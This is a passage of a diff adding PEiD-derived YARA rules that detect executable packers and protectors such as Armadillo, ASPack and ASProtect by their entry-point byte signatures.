+        $a = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1 44 00 33 F6 56 E8 72 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 3D 13 00 00 FF 15 30 40 44 00 A3 84 B7 44 00 E8 FB 11 00 00 A3 E0 A1 44 00 E8 A4 0F 00 00 E8 E6 0E 00 00 E8 4E F6 FF FF 89 75 D0 8D 45 A4 50 FF 15 38 40 44 00 E8 77 0E 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 7C 41 44 00 50 E8 49 D4 FE FF 89 45 A0 50 E8 3C F6 FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 B5 0C 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 2E F6 FF FF 83 3D E8 A1 44 00 01 75 05}
+    condition:
+        $a
+}
+
+rule PEiD_00186_Armadillo_v3_xx_
+{
+    meta:
+        description = "[Armadillo v3.xx]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58}
+    condition:
+        $a
+}
+
+rule PEiD_00187_Armadillo_v4_00_0053____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.00.0053 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1 4B 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4B 00 A3 A4 B7 4B 00 E8 01 12 00 00 A3 F8 A1 4B 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+    condition:
+        $a
+}
+
+rule PEiD_00188_Armadillo_v4_10____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.10 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5 4C 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4C 00 A3 84 BB 4C 00 E8 01 12 00 00 A3 D0 A5 4C 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+    condition:
+        $a
+}
+
+rule PEiD_00189_Armadillo_v4_20____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.20 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5 4C 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4C 00 A3 84 BB 4C 00 E8 01 12 00 00 A3 D8 A5 4C 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+    condition:
+        $a
+}
+
+rule PEiD_00190_Armadillo_v4_30___4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.30 - 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24 ?? ?? 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C ?? ?? 00 A3 24}
+    condition:
+        $a
+}
+
+rule PEiD_00191_Armadillo_v4_30___4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.30 - 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3}
+    condition:
+        $a
+}
+
+rule PEiD_00192_AsCrypt_v0_1____SToRM____3_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - #3]"
+        ep_only = "false"
+    strings:
+        $a = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 51 ?? ?? ?? 01 00 00 00 83 ?? ?? E2}
+    condition:
+        $a
+}
+
+rule PEiD_00193_AsCrypt_v0_1____SToRM___needs_to_be_added_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - needs to be added]"
+        ep_only = "false"
+    strings:
+        $a = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 83 ?? ?? E2}
+    condition:
+        $a
+}
+
+rule PEiD_00194_AsCrypt_v0_1____SToRM___needs_to_be_added_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - needs to be added]"
+        ep_only = "false"
+    strings:
+        $a = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 E2}
+    condition:
+        $a
+}
+rule PEiD_00195_AsCrypt_v0_1____SToRM___needs_to_be_added_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - needs to be added]"
+        ep_only = "false"
+    strings:
+        $a = {81 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? E2 ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_00196_ASDPack_2_0____asd_
+{
+    meta:
+        description = "[ASDPack 2.0 -> asd]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8D 49 00 1F 01 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 90}
+    condition:
+        $a
+}
+
+rule PEiD_00197_ASDPack_2_0____asd_
+{
+    meta:
+        description = "[ASDPack 2.0 -> asd]"
+        ep_only = "false"
+    strings:
+        $a = {5B 43 83 7B 74 00 0F 84 08 00 00 00 89 43 14 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00198_ASDPack_2_0____asd_
+{
+    meta:
+        description = "[ASDPack 2.0 -> asd]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 04 56 57 53 E8 CD 01 00 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00199_ASDPack_v1_0____asd_
+{
+    meta:
+        description = "[ASDPack v1.0 -> asd]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 53 E8 5C 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ?? ?? ?? 00 00 00 00 00 00 00 40 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 ?? 00 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5B 81 EB E6 1D 40 00 83 7D 0C 01 75 11 55 E8 4F 01 00 00 E8 6A 01 00 00 5D E8 2C 00 00 00 8B B3 1A 1E 40 00 03 B3 FA 1D 40 00 8B 76 0C AD 0B C0 74 0D FF 75 10 FF 75 0C FF 75 08 FF D0 EB EE B8 01 00 00 00 5B 5E C9 C2 0C 00 55 6A 00 FF 93 20 21 40 00 89 83 FA 1D 40 00 6A 40 68 00 10 00 00 FF B3 02 1E 40 00 6A 00 FF 93 2C 21 40 00 89 83 06 1E 40 00 8B 83 F2 1D 40 00 03 83 FA 1D 40 00 50 FF B3 06 1E 40 00 50 E8 6D 01 00 00 5F}
+    condition:
+        $a
+}
+
+rule PEiD_00200_ASPack_1_08_
+{
+    meta:
+        description = "[ASPack 1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 01 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00201_ASPack_v1_00b_
+{
+    meta:
+        description = "[ASPack v1.00b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44}
+    condition:
+        $a
+}
+rule PEiD_00202_ASPack_v1_01b_
+{
+    meta:
+        description = "[ASPack v1.01b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44}
+    condition:
+        $a
+}
+
+rule PEiD_00203_ASPack_v1_02a_
+{
+    meta:
+        description = "[ASPack v1.02a]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00204_ASPack_v1_02b_
+{
+    meta:
+        description = "[ASPack v1.02b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5}
+    condition:
+        $a
+}
+
+rule PEiD_00205_ASPack_v1_02b_
+{
+    meta:
+        description = "[ASPack v1.02b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43}
+    condition:
+        $a
+}
+
+rule PEiD_00206_ASPack_v1_03b_
+{
+    meta:
+        description = "[ASPack v1.03b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43}
+    condition:
+        $a
+}
+
+rule PEiD_00207_ASPack_v1_04b_
+{
+    meta:
+        description = "[ASPack v1.04b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? ?? 80 BD 08 9D}
+    condition:
+        $a
+}
+
+rule PEiD_00208_ASPack_v1_05b_
+{
+    meta:
+        description = "[ASPack v1.05b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44}
+    condition:
+        $a
+}
+
+rule PEiD_00209_ASPack_v1_061b_
+{
+    meta:
+        description = "[ASPack v1.061b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43}
+    condition:
+        $a
+}
+
+rule PEiD_00210_ASPack_v1_06b_
+{
+    meta:
+        description = "[ASPack v1.06b]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00211_ASPack_v1_06b_
+{
+    meta:
+        description = "[ASPack v1.06b]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00212_ASPack_v1_07b__DLL__
+{
+    meta:
+        description = "[ASPack v1.07b (DLL)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5}
+    condition:
+        $a
+}
+
+rule PEiD_00213_ASPack_v1_07b_
+{
+    meta:
+        description = "[ASPack v1.07b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 0B DE ?? 89 85 17 DE ?? ?? 80 BD 01 DE}
+    condition:
+        $a
+}
+
+rule PEiD_00214_ASPack_v1_07b_
+{
+    meta:
+        description = "[ASPack v1.07b]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_00215_ASPack_v1_08_01____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v1.08.01 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_00216_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D}
+    condition:
+        $a
+}
+
+rule PEiD_00217_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D}
+    condition:
+        $a
+}
+
+rule PEiD_00218_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 ?? 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00219_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 ?? 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00220_ASPack_v1_08_02_
+{
+    meta:
+        description = "[ASPack v1.08.02]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72}
+    condition:
+        $a
+}
+
+rule PEiD_00221_ASPack_v1_08_02_
+{
+    meta:
+        description = "[ASPack v1.08.02]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 01 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00222_ASPack_v1_08_02_
+{
+    meta:
+        description = "[ASPack v1.08.02]"
+        ep_only = "true"
+    strings:
+        $a = {90 75 01 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00223_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD}
+    condition:
+        $a
+}
+rule PEiD_00224_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+    condition:
+        $a
+}
+
+rule PEiD_00225_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD}
+    condition:
+        $a
+}
+
+rule PEiD_00226_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+    condition:
+        $a
+}
+
+rule PEiD_00227_ASPack_v1_08_04____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v1.08.04 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 41 06 00 00 EB 41}
+    condition:
+        $a
+}
+
+rule PEiD_00228_ASPack_v1_08_x_
+{
+    meta:
+        description = "[ASPack v1.08.x]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A}
+    condition:
+        $a
+}
+
+rule PEiD_00229_ASPack_v1_08_
+{
+    meta:
+        description = "[ASPack v1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 75 01 FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_00230_ASPack_v1_08_
+{
+    meta:
+        description = "[ASPack v1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 01 FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_00231_ASPack_v1_08_
+{
+    meta:
+        description = "[ASPack v1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 01 FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_00232_ASPack_v2_000____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v2.000 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 70 05 00 00 EB 4C}
+    condition:
+        $a
+}
+
+rule PEiD_00233_ASPack_v2_001____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v2.001 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 72 05 00 00 EB 4C}
+    condition:
+        $a
+}
+
+rule PEiD_00234_ASPack_v2_11_
+{
+    meta:
+        description = "[ASPack v2.11]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 3D 04 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00235_ASPack_v2_11b_
+{
+    meta:
+        description = "[ASPack v2.11b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 3D 04 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00236_ASPack_v2_11c_
+{
+    meta:
+        description = "[ASPack v2.11c]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 59 04 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00237_ASPack_v2_11d_
+{
+    meta:
+        description = "[ASPack v2.11d]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55}
+    condition:
+        $a
+}
+
+rule PEiD_00238_ASPack_v2_12_
+{
+    meta:
+        description = "[ASPack v2.12]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01}
+    condition:
+        $a
+}
+
+rule PEiD_00239_ASPack_v2_12_
+{
+    meta:
+        description = "[ASPack v2.12]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00240_ASPack_v2_1_
+{
+    meta:
+        description = "[ASPack v2.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 72 05 00 00 EB 33 87 DB 90 00}
+    condition:
+        $a
+}
+
+rule PEiD_00241_ASPack_v2_xx_
+{
+    meta:
+        description = "[ASPack v2.xx]"
+        ep_only = "true"
+    strings:
+        $a = {A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+    condition:
+        $a
+}
+
+rule PEiD_00242_ASPack_v2_xx_
+{
+    meta:
+        description = "[ASPack v2.xx]"
+        ep_only = "true"
+    strings:
+        $a = {A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95}
+    condition:
+        $a
+}
+
+rule PEiD_00243_ASPR_Stripper_v2_x_unpacked_
+{
+    meta:
+        description = "[ASPR Stripper v2.x unpacked]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 60 9C FC BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AA 9D 61 C3 55 8B EC}
+    condition:
+        $a
+}
+
+rule PEiD_00244_ASProtect_1_23_RC4_build_08_07__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect 1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00245_ASProtect_1_23_RC4_build_08_07__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect 1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00246_ASProtect_1_33___2_1_Registered____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASProtect 1.33 - 2.1 Registered -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {68 01 ?? ?? ?? E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+rule PEiD_00247_ASProtect_2_0_
+{
+    meta:
+        description = "[ASProtect 2.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 01 ?? 40 00 E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00248_ASProtect_2_3_SKE_build_04_26_Beta_
+{
+    meta:
+        description = "[ASProtect 2.3 SKE build 04.26 Beta]"
+        ep_only = "false"
+    strings:
+        $a = {68 01 60 40 00 E8 01 00 00 00 C3 C3 0D 6C 65 3E 09 84 BB 91 89 38 D0 5A 1D 60 6D AF D5 51 2D A9 2F E1 62 D8 C1 5A 8D 6B 6E 94 A7 F9 1D 26 8C 8E FB 08 A8 7E 9D 3B 0C DF 14 5E 62 14 7D 78 D0 6E}
+    condition:
+        $a
+}
+
+rule PEiD_00249_ASProtect_SKE_2_1_2_2__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00250_ASProtect_SKE_2_1_2_2__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00251_ASProtect_SKE_2_1_2_2__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00252_ASProtect_SKE_2_1_2_2__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
